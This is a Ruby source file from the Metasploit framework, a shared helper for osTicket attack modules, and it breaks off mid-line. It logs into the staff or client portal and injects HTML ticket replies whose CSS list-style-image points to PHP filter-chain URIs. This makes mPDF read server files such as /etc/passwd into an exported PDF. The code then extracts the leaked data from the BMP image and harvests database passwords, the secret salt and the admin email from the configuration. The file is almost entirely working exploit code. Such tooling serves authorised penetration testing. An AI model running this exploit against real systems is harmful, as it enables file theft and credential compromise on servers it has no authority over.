Path: blob/master/lib/msf/core/auxiliary/osticket.rb
59981 views
# -*- coding: binary -*-12require 'zlib'3require 'nokogiri'45##6# Shared helpers for osTicket auxiliary modules7##89module Msf10# Shared mixin providing helpers for osTicket auxiliary modules:11# HTTP authentication, CSRF extraction, PHP filter-chain payload generation,12# PDF exfiltration parsing, and credential/note reporting.13module Auxiliary::Osticket14include Msf::Exploit::Remote::HttpClient15include Msf::Exploit::Remote::HTTP::PhpFilterChain1617# Checks whether an HTTP response belongs to an osTicket installation.18#19# @param response [Rex::Proto::Http::Response] HTTP response20# @return [Boolean]21def osticket?(response)22unless response23vprint_error('osticket?: No response received (nil)')24return false25end26vprint_status("osticket?: Response code=#{response.code}, body length=#{response.body.to_s.length}")27unless response.code == 20028vprint_error("osticket?: Non-200 response code: #{response.code}")29return false30end3132found = response.body.match?(/osTicket/i)33vprint_status("osticket?: osTicket signature #{found ? 'FOUND' : 'NOT found'} in response body")34found35end3637# Extracts the __CSRFToken__ hidden field value from an osTicket HTML page.38# Handles name-before-value, value-before-name, and single/double quotes.39#40# @param html [String] HTML response body41# @return [String, nil] CSRF token value, or nil if not found42def extract_csrf_token(html)43vprint_status("extract_csrf_token: Searching HTML (#{html.to_s.length} bytes) for __CSRFToken__")44[45/name="__CSRFToken__"[^>]*value="([^"]+)"/,46/value="([^"]+)"[^>]*name="__CSRFToken__"/,47/name='__CSRFToken__'[^>]*value='([^']+)'/,48/value='([^']+)'[^>]*name='__CSRFToken__'/49].each do |pattern|50match = html.match(pattern)51if match52vprint_good("extract_csrf_token: Found token=#{match[1]}")53return match[1]54end55end56vprint_error('extract_csrf_token: No CSRF token found in HTML')57nil58end5960# Authenticates to the osTicket staff control panel (/scp/).61#62# @param base_uri [String] base path to osTicket (e.g. '/')63# @param username [String] staff username64# @param password [String] staff password65# @return [String, nil] session cookies on success, nil on failure66def osticket_login_scp(base_uri, username, password)67login_uri = normalize_uri(base_uri, 'scp', 'login.php')68vprint_status("osticket_login_scp: GET #{login_uri}")6970res = send_request_cgi('method' => 'GET', 'uri' => login_uri)71unless res72vprint_error('osticket_login_scp: No response from GET request (nil)')73return nil74end75vprint_status("osticket_login_scp: GET response code=#{res.code}, cookies=#{res.get_cookies}")76unless res.code == 20077vprint_error("osticket_login_scp: Expected 200, got #{res.code}")78return nil79end8081csrf = extract_csrf_token(res.body)82unless csrf83vprint_error('osticket_login_scp: No CSRF token found, cannot POST login')84return nil85end8687cookies_for_post = res.get_cookies88vprint_status("osticket_login_scp: POST #{login_uri} with userid=#{username}")89res = send_request_cgi(90'method' => 'POST',91'uri' => login_uri,92'cookie' => cookies_for_post,93'vars_post' => {94'__CSRFToken__' => csrf,95'userid' => username,96'passwd' => password97}98)99unless res100vprint_error('osticket_login_scp: No response from POST request (nil)')101return nil102end103vprint_status("osticket_login_scp: POST response code=#{res.code}, url=#{res.headers['Location']}, body contains userid=#{res.body.downcase.include?('userid')}")104105if res.code == 302106# 302 responses may not set new cookies; fall back to the GET cookies107# which already contain the authenticated OSTSESSID108session_cookies = res.get_cookies109session_cookies = cookies_for_post if session_cookies.empty?110vprint_good('osticket_login_scp: Login SUCCESS')111return session_cookies112end113114if res.code == 200 && !res.body.downcase.include?('userid')115vprint_good("osticket_login_scp: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")116return cookies_for_post117end118119vprint_error('osticket_login_scp: Login FAILED (still see login form)')120nil121end122123# Authenticates to the osTicket client portal.124#125# @param base_uri [String] base path to osTicket (e.g. '/')126# @param username [String] client email127# @param password [String] client password128# @param login_path [String] login path (default: 'login.php')129#130# @return [String, nil] session cookies on success, nil on failure131#132def osticket_login_client(base_uri, username, password, login_path = 'login.php')133login_uri = normalize_uri(base_uri, login_path)134vprint_status("osticket_login_client: GET #{login_uri}")135136res = send_request_cgi('method' => 'GET', 'uri' => login_uri)137unless res138vprint_error('osticket_login_client: No response from GET request (nil)')139return nil140end141vprint_status("osticket_login_client: GET response code=#{res.code}, cookies=#{res.get_cookies}")142unless res.code == 200143vprint_error("osticket_login_client: Expected 200, got #{res.code}")144return nil145end146147csrf = extract_csrf_token(res.body)148unless csrf149vprint_error('osticket_login_client: No CSRF token found, cannot POST login')150return nil151end152153cookies_for_post = res.get_cookies154vprint_status("osticket_login_client: POST #{login_uri} with luser=#{username}")155res = send_request_cgi(156'method' => 'POST',157'uri' => login_uri,158'cookie' => cookies_for_post,159'vars_post' => {160'__CSRFToken__' => csrf,161'luser' => username,162'lpasswd' => password163}164)165unless res166vprint_error('osticket_login_client: No response from POST request (nil)')167return nil168end169vprint_status("osticket_login_client: POST response code=#{res.code}, body contains luser=#{res.body.include?('luser')}")170171if res.code == 302172# 302 responses may not set new cookies; fall back to the GET cookies173# which already contain the authenticated OSTSESSID174session_cookies = res.get_cookies175session_cookies = cookies_for_post if session_cookies.empty?176vprint_good('osticket_login_client: Login SUCCESS')177return session_cookies178end179180if res.code == 200 && !res.body.include?('luser')181vprint_good("osticket_login_client: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}")182return cookies_for_post183end184185vprint_error('osticket_login_client: Login FAILED (still see login form)')186nil187end188189# Resolves a user-visible ticket number to the internal numeric ticket ID190# used in tickets.php?id= parameters.191#192# @param base_uri [String] base path to osTicket193# @param prefix [String] portal prefix ('/scp' or '')194# @param ticket_number [String] visible ticket number (e.g. '978554')195# @param cookies [String] session cookies196# @return [String, nil] internal ticket ID or nil197def find_ticket_id(base_uri, prefix, ticket_number, cookies, max_id)198tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php')199vprint_status("find_ticket_id: GET #{tickets_uri} (looking for ticket ##{ticket_number})")200vprint_status("find_ticket_id: Using cookies=#{cookies}")201202res = send_request_cgi(203'method' => 'GET',204'uri' => tickets_uri,205'cookie' => cookies206)207unless res208vprint_error('find_ticket_id: No response from ticket listing (nil)')209return nil210end211vprint_status("find_ticket_id: Ticket listing response code=#{res.code}, body=#{res.body.to_s.length} bytes")212vprint_status("find_ticket_id: Body Length:\n#{res.body.length}")213return nil unless res.code == 200214215match = res.body.match(/tickets\.php\?id=(\d+)[^>]*>.*?#?#{Regexp.escape(ticket_number.to_s)}/m)216if match217vprint_good("find_ticket_id: Found ticket ID=#{match[1]} from listing page")218return match[1]219end220vprint_status("find_ticket_id: Ticket ##{ticket_number} not found in listing, trying brute-force IDs 1-#{max_id}...")221222# Brute-force first N IDs as fallback223(1..max_id).each do |tid|224vprint_status("find_ticket_id: Trying id=#{tid}")225res = send_request_cgi(226'method' => 'GET',227'uri' => tickets_uri,228'cookie' => cookies,229'vars_get' => { 'id' => tid.to_s }230)231if res&.code == 200 && res.body.include?(ticket_number.to_s)232vprint_good("find_ticket_id: Found ticket ##{ticket_number} at id=#{tid}")233return tid.to_s234end235end236237vprint_error("find_ticket_id: Could not locate ticket ##{ticket_number}")238nil239end240241# Acquires a ticket lock via the SCP AJAX endpoint, which is required242# before submitting a reply on the staff panel.243#244# @param base_uri [String] base path to osTicket245# @param ticket_id [String] internal ticket ID246# @param cookies [String] session cookies247# @return [String] lock code, or empty string if unavailable248def acquire_lock_code(base_uri, ticket_id, cookies)249lock_uri = normalize_uri(base_uri, 'scp', 'ajax.php', 'lock', 'ticket', ticket_id.to_s)250vprint_status("acquire_lock_code: POST #{lock_uri}")251res = send_request_cgi(252'method' => 'POST',253'uri' => lock_uri,254'cookie' => cookies,255'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }256)257return '' unless res&.code == 200258259begin260data = JSON.parse(res.body)261if data['code']262vprint_good('acquire_lock_code: Got lock code from JSON response')263return data['code'].to_s264end265rescue JSON::ParserError266vprint_status('acquire_lock_code: Response is not JSON, trying plain text')267end268269# Sometimes returned as plain text270text = res.body.to_s.strip271return text if text.length < 30272273vprint_warning('acquire_lock_code: Could not parse lock code, reply may fail')274''275end276277# Submits an HTML payload as a ticket reply. The payload is injected into278# the reply body and will be rendered by mPDF when the ticket PDF is exported.279#280# @param base_uri [String] base path to osTicket281# @param prefix [String] portal prefix ('/scp' or '')282# @param ticket_id [String] internal ticket ID283# @param html_content [String] HTML payload to inject284# @param cookies [String] session cookies285# @return [Boolean] true if the reply was accepted286def submit_ticket_reply(base_uri, prefix, ticket_id, html_content, cookies)287ticket_uri = normalize_uri(base_uri, prefix, 'tickets.php')288289# SCP requires acquiring a lock before loading the reply page290lock_code = prefix == '/scp' ? acquire_lock_code(base_uri, ticket_id, cookies) : ''291292vprint_status("submit_ticket_reply: GET #{ticket_uri}?id=#{ticket_id} to fetch CSRF token")293res = send_request_cgi(294'method' => 'GET',295'uri' => ticket_uri,296'cookie' => cookies,297'vars_get' => { 'id' => ticket_id }298)299unless res300vprint_error('submit_ticket_reply: No response from ticket page (nil)')301return false302end303vprint_status("submit_ticket_reply: GET response code=#{res.code}, body=#{res.body.to_s.length} bytes")304return false unless res.code == 200305306csrf = extract_csrf_token(res.body)307unless csrf308vprint_error('submit_ticket_reply: No CSRF token found on ticket page')309return false310end311312textarea_name = detect_reply_textarea(res.body, prefix)313vprint_status("submit_ticket_reply: Using textarea field '#{textarea_name}', payload=#{html_content.length} bytes")314315post_vars = if prefix == '/scp'316# Parse from_email_id from the page (default "1" if not found)317from_email_id = '1'318email_match = res.body.match(/name="from_email_id"[^>]*value="([^"]*)"/) ||319res.body.match(/value="([^"]*)"[^>]*name="from_email_id"/)320from_email_id = email_match[1] if email_match321322# Fall back to parsing lockCode from page HTML if AJAX didn't return one323if lock_code.empty?324lc_match = res.body.match(/name="lockCode"[^>]*value="([^"]+)"/) ||325res.body.match(/value="([^"]+)"[^>]*name="lockCode"/)326lock_code = lc_match[1] if lc_match327end328329{330'__CSRFToken__' => csrf,331'id' => ticket_id,332'msgId' => '',333'a' => 'reply',334'lockCode' => lock_code.to_s,335'from_email_id' => from_email_id,336'reply-to' => 'all',337'cannedResp' => '0',338'draft_id' => '',339textarea_name => html_content,340'signature' => 'none',341'reply_status_id' => '1'342}343else344{345'__CSRFToken__' => csrf,346'id' => ticket_id,347'a' => 'reply',348textarea_name => html_content349}350end351352vprint_status("submit_ticket_reply: POST #{ticket_uri} with a=reply, id=#{ticket_id}")353res = send_request_cgi(354'method' => 'POST',355'uri' => ticket_uri,356'cookie' => cookies,357'vars_post' => post_vars358)359unless res360vprint_error('submit_ticket_reply: No response from POST reply (nil)')361return false362end363vprint_status("submit_ticket_reply: POST response code=#{res.code}, body=#{res.body.to_s.length} bytes")364365# A 302 redirect after POST indicates the reply was accepted (osTicket redirects on success)366if res.code == 302367vprint_good('submit_ticket_reply: Got 302 redirect - reply accepted')368return true369end370371success = %w[reply\ posted posted\ successfully message\ posted response\ posted].any? do |indicator|372res.body.downcase.include?(indicator)373end374vprint_status("submit_ticket_reply: Success indicators found=#{success}")375success376end377378# Downloads the PDF export of a ticket. Tries multiple known URL patterns.379#380# @param base_uri [String] base path to osTicket381# @param prefix [String] portal prefix ('/scp' or '')382# @param ticket_id [String] internal ticket ID383# @param cookies [String] session cookies384# @return [String, nil] raw PDF bytes, or nil on failure385def download_ticket_pdf(base_uri, prefix, ticket_id, cookies, max_redirects = 3)386base = normalize_uri(base_uri, prefix, 'tickets.php')387vprint_status("download_ticket_pdf: Trying PDF export from #{base}")388389[390{ 'a' => 'print', 'id' => ticket_id },391{ 'a' => 'print', 'id' => ticket_id, 'pdf' => 'true' },392{ 'id' => ticket_id, 'a' => 'print' }393].each do |params|394query = params.map { |k, v| "#{k}=#{v}" }.join('&')395vprint_status("download_ticket_pdf: GET #{base}?#{query}")396res = send_request_cgi!(397{ 'method' => 'GET', 'uri' => base, 'cookie' => cookies, 'vars_get' => params },39820,399max_redirects400)401unless res402vprint_error("download_ticket_pdf: No response (nil) for params=#{params}")403next404end405406content_type = res.headers['Content-Type'] || ''407magic = res.body[0, 4].to_s408vprint_status("download_ticket_pdf: Response code=#{res.code}, Content-Type=#{content_type}, magic=#{magic.inspect}, size=#{res.body.length}")409410if content_type.start_with?('application/pdf') || magic == '%PDF'411vprint_good("download_ticket_pdf: Got PDF (#{res.body.length} bytes)")412return res.body413else414vprint_warning('download_ticket_pdf: Not a PDF response')415end416end417418vprint_error('download_ticket_pdf: All PDF URL patterns failed')419nil420end421422# Builds a minimal 24-bit BMP file header used as a carrier for423# exfiltrated data. mPDF renders it as an image whose pixel data424# contains the leaked file content after the ISO-2022-KR escape marker.425#426# @param width [Integer] BMP width in pixels (default 15000)427# @param height [Integer] BMP height in pixels (default 1)428# @return [String] raw BMP header bytes429def generate_bmp_header(width = 15000, height = 1)430header = "BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00".b431header << [width].pack('V')432header << [height].pack('V')433header << "\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00".b434header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".b435header436end437438# Generates a PHP filter chain URI that reads a target file and prepends439# a BMP header so the result embeds as an image in the PDF.440#441# @param file_path [String] remote file path to read442# @param encoding [String] 'plain', 'b64', or 'b64zlib'443# @return [String] the php://filter/... URI444def generate_php_filter_payload(file_path, encoding = 'plain')445b64_payload = Rex::Text.encode_base64(generate_bmp_header)446447filters = 'convert.iconv.UTF8.CSISO2022KR|'448filters << 'convert.base64-encode|'449filters << 'convert.iconv.UTF8.UTF7|'450451b64_payload.reverse.each_char do |c|452mapping = CONVERSIONS[c]453next if mapping.nil? || mapping.empty?454455filters << mapping << '|'456filters << 'convert.base64-decode|'457filters << 'convert.base64-encode|'458filters << 'convert.iconv.UTF8.UTF7|'459end460461filters << 'convert.base64-decode'462463case encoding464when 'b64'465filters = 'convert.base64-encode|' + filters466when 'b64zlib'467filters = 'zlib.deflate|convert.base64-encode|' + filters468end469470"php://filter/#{filters}/resource=#{file_path}"471end472473# URL-encodes a string, forcing uppercase ASCII letters to percent-encoded474# form. Necessary because osTicket/mPDF/htmLawed lowercases unencoded path475# components, breaking case-sensitive iconv charset names.476#477# @param input_string [String] string to encode478# @return [String] URL-encoded string479def quote_with_forced_uppercase(input_string)480safe_chars = ('a'..'z').to_a + ('0'..'9').to_a + ['_', '.', '-', '~']481input_string.chars.map do |char|482if char >= 'A' && char <= 'Z'483format('%%%X', char.ord)484elsif safe_chars.include?(char)485char486else487Rex::Text.uri_encode(char)488end489end.join490end491492# Generates the HTML payload for injection into an osTicket ticket.493# Each file to read becomes a <li> element whose list-style-image CSS494# property points to a PHP filter chain URI, triggering mPDF to process it.495#496# @param file_specs [Array<String>, Array<Hash>] file paths to read.497# Strings may include encoding suffix: "/etc/passwd:b64zlib".498# Hashes should have :path and optionally :encoding keys.499# @param is_reply [Boolean] true for ticket reply, false for ticket creation500# @return [String] HTML payload501def generate_ticket_payload(file_specs, is_reply: true)502sep = is_reply ? '&#34' : '"'503504payloads = Array(file_specs).map do |spec|505if spec.is_a?(Hash)506generate_php_filter_payload(spec[:path], spec[:encoding] || 'plain')507elsif spec.include?(',')508path, enc = spec.split(',', 2)509enc = 'plain' unless %w[plain b64 b64zlib].include?(enc)510generate_php_filter_payload(path, enc)511else512generate_php_filter_payload(spec)513end514end515516html = '<ul>'517payloads.each do |p|518html << "<li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(p)})\">listitem</li>\n"519end520html << '</ul>'521html522end523524# Wraps a raw PHP filter chain URI in the525# osTicket HTML injection format for delivery via ticket reply.526#527# @param filter_uri [String] php://filter/... URI528# @param is_reply [Boolean] true for ticket reply payload529# @return [String] HTML payload530def wrap_filter_as_ticket_payload(filter_uri, is_reply: true)531sep = is_reply ? '&#34' : '"'532"<ul><li style=\"list-style-image:url#{sep}(#{quote_with_forced_uppercase(filter_uri)})\">listitem</li></ul>"533end534535# Extracts exfiltrated file contents from a PDF generated by mPDF.536#537# mPDF embeds our BMP payload as a PDF image XObject, converting the538# pixel data from BMP's BGR byte order to PDF's RGB byte order. To find539# the ISO-2022-KR marker, we must convert the image data back to BGR.540#541# This mirrors what the Python PoC does with PyMuPDF + Pillow:542# pix = fitz.Pixmap(pdf_doc, xref) # extract image (RGB)543# pil_image.save(bmp_buffer, "BMP") # convert to BMP (BGR)544# extract_data_from_bmp(bmp_data) # find marker in BGR data545#546# @param pdf_data [String] raw PDF bytes547# @return [Array<String>] array of extracted file contents548def extract_files_from_pdf(pdf_data)549vprint_status("extract_files_from_pdf: Processing PDF (#{pdf_data.length} bytes)")550results = []551552# Primary: Extract image XObjects, swap RGB for BGR, search for marker553image_streams = extract_pdf_image_streams(pdf_data)554vprint_status("extract_files_from_pdf: Found #{image_streams.length} image XObject streams")555556image_streams.each_with_index do |img_data, idx|557# Swap RGB for BGR to restore original BMP pixel byte order558bgr_data = swap_rgb_bgr(img_data)559vprint_status("extract_files_from_pdf: Image ##{idx}: #{img_data.length} bytes, swapped to BGR")560561# Try BGR-swapped data first; fall back to raw if swap didn't help562content = extract_data_from_bmp_stream(bgr_data)563content ||= extract_data_from_bmp_stream(img_data)564next unless content && !content.empty?565566clean = content.sub(/\x00+\z/, ''.b)567pad_idx = clean.index('@C>=='.b)568clean = clean[0...pad_idx] if pad_idx && pad_idx > 0569unless clean.empty?570vprint_good("extract_files_from_pdf: Image ##{idx} yielded #{clean.length} bytes of extracted data")571results << clean572end573end574575# Fallback: scan all streams directly (catches data not in XObjects or where576# BGR swap wasn't needed). Always runs so partial primary results aren't final.577streams = extract_pdf_streams(pdf_data)578vprint_status("extract_files_from_pdf: Fallback - scanning #{streams.length} raw streams")579580streams.each_with_index do |stream, idx|581content = extract_data_from_bmp_stream(stream)582next unless content && !content.empty?583584clean = content.sub(/\x00+\z/, ''.b)585pad_idx = clean.index('@C>=='.b)586clean = clean[0...pad_idx] if pad_idx && pad_idx > 0587next if clean.empty?588589# Skip duplicates already found by the primary XObject path590next if results.any? { |r| r == clean }591592vprint_good("extract_files_from_pdf: Stream ##{idx} yielded #{clean.length} bytes of extracted data")593results << clean594end595596vprint_status("extract_files_from_pdf: Total extracted files: #{results.length}")597results598end599600# Finds image XObject streams in the PDF and returns their decompressed data.601# Parses the raw PDF to locate objects with /Subtype /Image, then extracts602# and decompresses their stream content.603#604# @param pdf_data [String] raw PDF bytes605# @return [Array<String>] array of decompressed image stream data606def extract_pdf_image_streams(pdf_data)607pdf_data = pdf_data.dup.force_encoding('ASCII-8BIT')608images = []609610# Find all object start positions611obj_starts = []612pdf_data.scan(/\d+\s+\d+\s+obj\b/) do613obj_starts << Regexp.last_match.begin(0)614end615616obj_starts.each_with_index do |obj_start, i|617# Determine object boundary (up to next obj or end of file)618obj_end = i + 1 < obj_starts.length ? obj_starts[i + 1] : pdf_data.length619obj_data = pdf_data[obj_start...obj_end]620621# Only process image XObjects622next unless obj_data.match?(%r{/Subtype\s*/Image})623624# Find stream data within this object625stream_idx = obj_data.index('stream')626next unless stream_idx627628# Skip past "stream" keyword + newline delimiter629data_start = stream_idx + 6630data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\r".b631data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\n".b632633endstream_idx = obj_data.index('endstream', data_start)634next unless endstream_idx635636stream_data = obj_data[data_start...endstream_idx]637stream_data = stream_data.sub(/\r?\n?\z/, '')638639# Decompress if FlateDecode filter is applied640if obj_data.match?(%r{/Filter\s*/FlateDecode}) || obj_data.match?(%r{/Filter\s*\[.*?/FlateDecode})641begin642decompressed = Zlib::Inflate.inflate(stream_data)643rescue Zlib::DataError, Zlib::BufError644decompressed = stream_data645end646else647decompressed = stream_data648end649650vprint_status("extract_pdf_image_streams: Found image object (#{decompressed.length} bytes decompressed)")651images << decompressed652end653654images655end656657# Swaps byte order in every 3-byte triplet: [R,G,B] to [B,G,R].658# This reverses the BGR / RGB conversion that mPDF performs when659# embedding BMP pixel data into a PDF image XObject.660#661# @param data [String] RGB pixel data662# @return [String] BGR pixel data663def swap_rgb_bgr(data)664s = data.dup.force_encoding('ASCII-8BIT')665len = s.length666lim = len - (len % 3) # process only complete RGB triplets667668i = 0669while i < lim670# direct byte swap using getbyte / setbyte is fastest in CRuby671r = s.getbyte(i)672b = s.getbyte(i + 2)673s.setbyte(i, b)674s.setbyte(i + 2, r)675i += 3676end677s678end679680# Extracts and decompresses all stream objects from raw PDF data.681# Most PDF streams use FlateDecode (zlib).682#683# @param pdf_data [String] raw PDF bytes684# @return [Array<String>] array of decompressed stream contents685def extract_pdf_streams(pdf_data)686streams = []687pos = 0688689while (start_idx = pdf_data.index('stream', pos))690data_start = start_idx + 6691data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\r"692data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\n"693694end_idx = pdf_data.index('endstream', data_start)695break unless end_idx696697stream_data = pdf_data[data_start...end_idx].sub(/\r?\n?\z/, '')698699begin700streams << Zlib::Inflate.inflate(stream_data)701rescue Zlib::DataError, Zlib::BufError702streams << stream_data703end704705pos = end_idx + 9706end707708streams709end710711def looks_like_base64?(str)712return false if str.length < 12 || str.length % 4 != 0713714cleaned = str.tr('A-Za-z0-9+/=', '')715cleaned.empty?716end717718# Extracts file data from a stream containing BMP pixel data.719# Looks for the ISO-2022-KR escape sequence marker (\x1b$)C),720# strips null bytes, and decodes (base64 + optional zlib).721#722# @param raw_data [String] raw stream bytes723# @return [String, nil] extracted file content, or nil724def extract_data_from_bmp_stream(raw_data)725marker = "\x1b$)C".b726idx = raw_data.index(marker)727unless idx728# Not a BMP stream with our marker - this is expected for most PDF streams729return nil730end731732vprint_status("extract_data_from_bmp_stream: ISO-2022-KR marker found at offset #{idx} in #{raw_data.length}-byte stream")733data = raw_data[(idx + marker.length)..].gsub("\x00".b, ''.b)734if data.empty?735vprint_warning('extract_data_from_bmp_stream: No data after marker (empty after null-strip)')736return nil737end738vprint_status("extract_data_from_bmp_stream: #{data.length} bytes after marker (nulls stripped)")739740# Add this block here: Preview the data to see if it's base64 or plain text741preview_len = 96742preview = data[0, preview_len]743vprint_status("First #{preview_len} bytes of data after marker and null-strip:")744vprint_status(" ascii: #{preview.gsub(/[^\x20-\x7e]/, '.').inspect}")745vprint_status(" hex: #{preview.unpack1('H*').scan(/../).join(' ')}")746747vprint_status("Data looks like base64? #{looks_like_base64?(data)}")748749# Conditional processing based on whether it's base64750if looks_like_base64?(data)751b64_decoded = decode_b64_permissive(data)752vprint_status("extract_data_from_bmp_stream: b64 decoded=#{b64_decoded.length} bytes")753754# Preview decoded if successful755if !b64_decoded.empty?756dec_preview = b64_decoded[0, 96]757vprint_status('First 96 bytes of b64_decoded:')758vprint_status(" ascii: #{dec_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")759vprint_status(" hex: #{dec_preview.unpack1('H*').scan(/../).join(' ')}")760end761762decompressed = decompress_raw_deflate(b64_decoded)763vprint_status("extract_data_from_bmp_stream: zlib decompressed=#{decompressed.length} bytes")764765# Preview decompressed if any766if !decompressed.empty?767zlib_preview = decompressed[0, 96]768vprint_status('First 96 bytes of decompressed:')769vprint_status(" ascii: #{zlib_preview.gsub(/[^\x20-\x7e]/, '.').inspect}")770vprint_status(" hex: #{zlib_preview.unpack1('H*').scan(/../).join(' ')}")771end772773return decompressed unless decompressed.empty?774return b64_decoded unless b64_decoded.empty?775else776# For plain, preview the data itself777vprint_status('Treating as plain (non-base64) - preview:')778vprint_status(" ascii: #{data[0, 96].gsub(/[^\x20-\x7e]/, '.').inspect}")779vprint_status(" hex: #{data[0, 96].unpack1('H*').scan(/../).join(' ')}")780end781data782end783784# Best-effort base64 decoding in 4-byte blocks. Falls back to cleaning785# the input as printable ASCII if decoded output is below min_bytes786# (indicating the data was probably plaintext, not base64).787#788# @param data [String] raw bytes to decode789# @param min_bytes [Integer] minimum decoded length to consider valid790# @return [String] decoded bytes or cleaned plaintext791def decode_b64_permissive(data, min_bytes = 12)792data = data.strip793decoded = ''.b794i = 0795796while i < data.length797block = data[i, 4]798# Stop at non-base64 characters (matches Python's validate=True behavior)799break unless block.match?(%r{\A[A-Za-z0-9+/=]+\z})800801begin802decoded << Rex::Text.decode_base64(block)803rescue StandardError804break805end806i += 4807end808809decoded.length < min_bytes ? clean_unprintable_bytes(data) : decoded810end811812# Decompresses raw deflate data (no zlib header) in chunks, tolerating813# truncated or corrupted streams.814#815# @param data [String] raw deflate-compressed bytes816# @param chunk_size [Integer] decompression chunk size817# @return [String] decompressed bytes (may be partial)818def decompress_raw_deflate(data, chunk_size = 1024)819return ''.b if data.nil? || data.empty?820821inflater = Zlib::Inflate.new(-Zlib::MAX_WBITS)822output = ''.b823i = 0824825while i < data.length826begin827output << inflater.inflate(data[i, chunk_size])828rescue Zlib::DataError, Zlib::BufError829begin830output << inflater.flush_next_out831rescue StandardError832nil833end834break835end836i += chunk_size837end838839begin840output << inflater.finish841rescue StandardError842nil843end844inflater.close845output846end847848# Strips non-printable ASCII characters, keeping 0x20-0x7E and whitespace.849#850# @param data [String] raw bytes851# @return [String] cleaned ASCII bytes852def clean_unprintable_bytes(data)853data.encode('ASCII', invalid: :replace, undef: :replace, replace: '')854.gsub(/[^\x20-\x7E\n\r\t]/, '').b855end856857# Searches extracted file contents for osTicket configuration secrets and reports them.858# Prints a KEY FINDINGS block and stores credentials/notes to the database.859# Works regardless of which portal (SCP or client) was used to authenticate.860#861# @param extracted [Array<String>] raw file contents extracted from the PDF862def report_secrets(extracted)863secret_patterns = {864'SECRET_SALT' => /define\('SECRET_SALT','([^']+)'\)/,865'ADMIN_EMAIL' => /define\('ADMIN_EMAIL','([^']+)'\)/,866'DBTYPE' => /define\('DBTYPE','([^']+)'\)/,867'DBHOST' => /define\('DBHOST','([^']+)'\)/,868'DBNAME' => /define\('DBNAME','([^']+)'\)/,869'DBUSER' => /define\('DBUSER','([^']+)'\)/,870'DBPASS' => /define\('DBPASS','([^']+)'\)/871}872873found_any = false874875extracted.each do |content|876text = begin877content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')878rescue StandardError879next880end881882secret_patterns.each do |key, pattern|883match = text.match(pattern)884next unless match885886unless found_any887print_line888print_line('=' * 70)889print_line('KEY FINDINGS')890print_line('=' * 70)891found_any = true892end893print_good(" #{key}: #{match[1]}")894895case key896when 'DBPASS'897db_user_match = text.match(/define\('DBUSER','([^']+)'\)/)898if db_user_match899db_host_val = text.match(/define\('DBHOST','([^']+)'\)/)&.[](1) || rhost900db_type_val = text.match(/define\('DBTYPE','([^']+)'\)/)&.[](1)&.downcase901902if db_host_val =~ /\A(.+):(\d+)\z/903db_address = ::Regexp.last_match(1)904db_port = ::Regexp.last_match(2).to_i905else906db_address = db_host_val907db_port = case db_type_val908when 'mysql' then 3306909when 'pgsql', 'postgres' then 5432910when 'mssql' then 1433911else 3306912end913end914915report_cred(db_user_match[1], match[1], 'osTicket database', address: db_address, port: db_port)916end917when 'ADMIN_EMAIL'918report_note(host: rhost, port: rport, type: 'osticket.admin_email', data: { email: match[1] })919when 'SECRET_SALT'920report_note(host: rhost, port: rport, type: 'osticket.secret_salt', data: { salt: match[1] })921end922end923end924end925926# Reports a credential pair to the Metasploit database.927#928# @param username [String] credential username929# @param password [String] credential password930# @param service_name [String] service label (e.g. 'osTicket database')931# @param address [String] host address for the credential (defaults to rhost)932# @param port [Integer] port for the credential (defaults to rport)933def report_cred(username, password, service_name, address: rhost, port: rport)934create_credential(935module_fullname: fullname,936workspace_id: myworkspace_id,937origin_type: :service,938address: address,939port: port,940protocol: 'tcp',941service_name: service_name,942username: username,943private_data: password,944private_type: :password945)946rescue StandardError => e947vprint_error("Failed to store credential: #{e}")948end949950# Extracts the first usable topicId from the static open.php HTML.951#952# NOTE: osTicket loads the subject/message form fields dynamically via AJAX953# (ajax.php/form/help-topic/{id}) when a topic is chosen, they are NOT in954# the initial open.php response. Call fetch_topic_form_fields separately.955#956# @param html [String] HTML of open.php957# @return [String] topicId value (first non-empty option, defaults to '1')958def detect_open_form_fields(html)959doc = Nokogiri::HTML(html)960961topic_select = doc.at('select[@name="topicId"]') || doc.at('select[@id="topicId"]')962# Skip the blank placeholder option ("-- Select a Help Topic --")963topic_id = topic_select&.search('option')964&.find { |o| !o['value'].to_s.empty? }965&.[]('value') || '1'966967vprint_status("detect_open_form_fields: topicId=#{topic_id}")968topic_id969end970971# Fetches the dynamic ticket-creation form fields for a given help topic.972#973# When a user picks a help topic on open.php, the browser fires an AJAX974# request to ajax.php/form/help-topic/{id} which returns JSON containing975# an "html" key with the rendered form fields (subject input + message976# textarea, each named with a dynamic hex hash). This method replicates977# that browser-side call so we can extract the actual field names.978#979# @param base_uri [String] base path to osTicket980# @param topic_id [String] help topic ID (from detect_open_form_fields)981# @param cookies [String] session cookies982# @return [Array] [subject_field_name, message_field_name] or [nil, nil]983def fetch_topic_form_fields(base_uri, topic_id, cookies)984ajax_uri = normalize_uri(base_uri, 'ajax.php', 'form', 'help-topic', topic_id.to_s)985vprint_status("fetch_topic_form_fields: GET #{ajax_uri}")986987proto = datastore['SSL'] ? 'https' : 'http'988referer = "#{proto}://#{rhost}:#{rport}#{normalize_uri(base_uri, 'open.php')}"989990res = send_request_cgi(991'method' => 'GET',992'uri' => ajax_uri,993'cookie' => cookies,994'headers' => {995'X-Requested-With' => 'XMLHttpRequest',996'Referer' => referer997}998)999unless res&.code == 2001000vprint_error("fetch_topic_form_fields: AJAX request failed (code=#{res&.code})")1001return [nil, nil]1002end10031004begin1005data = JSON.parse(res.body)1006rescue JSON::ParserError => e1007vprint_error("fetch_topic_form_fields: JSON parse error: #{e}")1008return [nil, nil]1009end10101011form_html = data['html'].to_s1012if form_html.empty?1013vprint_error('fetch_topic_form_fields: Empty html in AJAX response')1014return [nil, nil]1015end10161017doc = Nokogiri::HTML(form_html)10181019subject_field = 